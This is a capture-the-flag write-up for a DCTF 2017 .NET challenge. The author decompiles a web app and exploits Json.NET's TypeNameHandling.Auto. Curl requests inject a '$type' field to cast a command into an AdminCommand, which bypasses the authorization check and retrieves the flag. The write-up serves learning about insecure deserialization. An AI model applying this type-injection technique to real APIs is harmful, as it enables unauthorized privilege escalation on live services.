Don’t net, kids!
You’re provided with a big zip file that contains mostly dot net libraries and a few challenge specific ones. Since the name of the challenge hints to be a .Net reversing challenge I focused on DCTFNetCoreWebApp.dll.
I used dotPeek to decompile it and found the following:
DCTFNetCoreWebApp
: Mostly some logic to get the webapp running.DCTFNetCoreWebApp.Business
: Contains the API logic (the Executor class). This contains the allowed actions as well (Notice how getflag is considered an AdminCommand).-
DCTFNetCoreWebApp.Controllers
: Parser for GET/POST requests revealing the route (/api/command)abatchy@ubuntu:~/Desktop$ curl https://dotnot.dctf-quals-17.def.camp/api/command Hi! Nothing here :)
DCTFNetCoreWebApp.Models
: Models defining the command layout which we’ll need to communicate with the API.
The meat of the code is the Execute
method:
public Command Execute(Command command)
{
// Need to be authenticated
if (this._guestActions.Contains(command.Action.ToLower()))
return this.Authenticate(command);
if (!this.IsAuthenticated(command))
throw new Exception("Authentication required!");
// Is the command of type AdminCommand?
bool flag = ((MemberInfo) command.GetType()).get_Name().Equals(((MemberInfo) typeof (AdminCommand)).get_Name());
if (this._adminActions.Contains(command.Action.ToLower()) && !flag)
throw new Exception("Command not allowed!");
if (!this._userActions.Contains(command.Action.ToLower()) && !flag)
throw new Exception("Invalid action");
string lower = command.Action.ToLower();
if (lower == "get")
return this.Get(command);
if (lower == "set")
return this.Set(command);
if (lower == "list")
return this.List(command);
if (lower == "readflag")
return this.ReadFlag(command);
throw new Exception("Command not implemented!");
}
- You need to be authenticated.
- Command needs to be of
AdminCommand
type (inherited).
Let’s try first just contacting the API with a command. Parser for POST:
[HttpPost]
public string Post()
{
if (((ControllerBase) this).get_Request().get_Body().get_CanSeek())
((ControllerBase) this).get_Request().get_Body().set_Position(0L);
string end = ((TextReader) new StreamReader(((ControllerBase) this).get_Request().get_Body())).ReadToEnd();
Console.WriteLine(end);
try
{
string str1 = end;
JsonSerializerSettings serializerSettings = new JsonSerializerSettings();
int num = 4;
serializerSettings.set_TypeNameHandling((TypeNameHandling) num);
string str2 = JsonConvert.SerializeObject((object) this._executor.Execute(((Request) JsonConvert.DeserializeObject<Request>(str1, serializerSettings)).Command));
Console.WriteLine(str2);
return str2;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return ex.Message;
}
}
Few notes:
- Data provided is parsed to a Command object found in models.
- TypeNameHandling is set to Auto, which we need later.
1. Authenticate:
abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{ "Action": "authenticate" } }' https://dotnot.dctf-quals-17.def.camp/api/command
{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32","Action":"authenticate","Query":null,"Value":null,"Response":null,"Error":null}
From now on we’ll be using the GUID provided.
2. Readflag
abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command
Command not allowed!
So unfortunately this command fails as the flag
is set to false. We need to cast the JSON to an AdminCommand using $type
field.
I tried setting it to DCTFNetCoreWebApp.Models.AdminCommand
but it returned an error message.
abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"$type":"DCTFNetCoreWebApp.Models.AdminCommand", "Command":{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command
Type specified in JSON 'DCTFNetCoreWebApp.Models.AdminCommand' was not resolved. Path '$type', line 1, position 48.
Then I thought of casting it to a known class that definitely exists, maybe the error shows any data.
abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"$type":"System.Guid", "UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command
Type specified in JSON 'System.Guid, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e' is not compatible with 'DCTFNetCoreWebApp.Models.Command, DCTFNetCoreWebApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'. Path 'Command.$type', line 1, position 33.
Nice! We got the full type to use, replace Request with AdminCommand and we’re good to go.
abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command
{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32","Action":"Readflag","Query":null,"Value":null,"Response":"DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}\n","Error":null}
The flag is DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}
.
- Abatchy